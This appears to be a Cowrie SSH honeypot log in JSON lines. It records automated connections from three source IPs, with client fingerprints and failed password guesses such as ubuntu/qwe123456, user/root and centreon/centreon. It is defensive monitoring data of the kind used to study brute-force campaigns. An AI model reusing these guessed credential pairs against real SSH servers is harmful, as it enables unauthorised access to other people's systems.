{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:27.862026Z","src_ip":"91.92.42.227","session":"3366b3a487e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123456","message":"login attempt [ubuntu/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:30.103398Z","src_ip":"91.92.42.227","session":"3366b3a487e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55682,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c232a3e5f5","protocol":"ssh","message":"New connection: 45.156.87.147:55682 (10.17.0.5:22) [session: 26c232a3e5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:31.454453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:31.457882Z","src_ip":"45.156.87.147","session":"26c232a3e5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:31.540698Z","src_ip":"45.156.87.147","session":"26c232a3e5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"1234","message":"login attempt [oscar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:31.784964Z","src_ip":"45.156.87.147","session":"26c232a3e5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:31.788952Z","src_ip":"91.92.42.227","session":"3366b3a487e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:32.868401Z","src_ip":"45.156.87.147","session":"26c232a3e5f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34502,"dst_ip":"10.17.0.5","dst_port":22,"session":"58c4fd6322e5","protocol":"ssh","message":"New connection: 91.92.42.227:34502 (10.17.0.5:22) [session: 58c4fd6322e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:34.083136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:34.802999Z","src_ip":"91.92.42.227","session":"58c4fd6322e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:34.805640Z","src_ip":"91.92.42.227","session":"58c4fd6322e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55686,"dst_ip":"10.17.0.5","dst_port":22,"session":"49d1c48df3b6","protocol":"ssh","message":"New connection: 45.156.87.147:55686 (10.17.0.5:22) [session: 49d1c48df3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:37.134747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:37.138804Z","src_ip":"45.156.87.147","session":"49d1c48df3b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:37.218210Z","src_ip":"91.92.42.227","session":"58c4fd6322e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:37.221668Z","src_ip":"45.156.87.147","session":"49d1c48df3b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:37.467312Z","src_ip":"45.156.87.147","session":"49d1c48df3b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:38.553726Z","src_ip":"45.156.87.147","session":"49d1c48df3b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:38.777335Z","src_ip":"91.92.42.227","session":"58c4fd6322e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43056,"dst_ip":"10.17.0.5","dst_port":22,"session":"dda0a8d80ec2","protocol":"ssh","message":"New connection: 91.92.42.227:43056 (10.17.0.5:22) [session: dda0a8d80ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:41.072045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:41.636258Z","src_ip":"91.92.42.227","session":"dda0a8d80ec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:41.642008Z","src_ip":"91.92.42.227","session":"dda0a8d80ec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50680,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b71198e1fe","protocol":"ssh","message":"New connection: 45.156.87.147:50680 (10.17.0.5:22) [session: e4b71198e1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:42.683981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:42.687994Z","src_ip":"45.156.87.147","session":"e4b71198e1fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:42.772865Z","src_ip":"45.156.87.147","session":"e4b71198e1fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:43.141994Z","src_ip":"45.156.87.147","session":"e4b71198e1fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:43.573107Z","src_ip":"91.92.42.227","session":"dda0a8d80ec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:44.229383Z","src_ip":"45.156.87.147","session":"e4b71198e1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:45.089878Z","src_ip":"91.92.42.227","session":"dda0a8d80ec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":45090,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cad7e1908b2","protocol":"ssh","message":"New connection: 8.219.200.1:45090 (10.17.0.5:22) [session: 6cad7e1908b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:47.138507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:47.142347Z","src_ip":"8.219.200.1","session":"6cad7e1908b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:47.588676Z","src_ip":"8.219.200.1","session":"6cad7e1908b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40392,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cde945e9b17","protocol":"ssh","message":"New connection: 91.92.42.227:40392 (10.17.0.5:22) [session: 2cde945e9b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:47.967663Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50702,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d8ebf784262","protocol":"ssh","message":"New connection: 45.156.87.147:50702 (10.17.0.5:22) [session: 1d8ebf784262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:48.042299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:48.046627Z","src_ip":"45.156.87.147","session":"1d8ebf784262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:48.127724Z","src_ip":"45.156.87.147","session":"1d8ebf784262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:48.304836Z","src_ip":"8.219.200.1","session":"6cad7e1908b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:48.380834Z","src_ip":"45.156.87.147","session":"1d8ebf784262","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:48.458236Z","src_ip":"91.92.42.227","session":"2cde945e9b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:48.461331Z","src_ip":"91.92.42.227","session":"2cde945e9b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:49.467087Z","src_ip":"45.156.87.147","session":"1d8ebf784262","protocol":"ssh"}
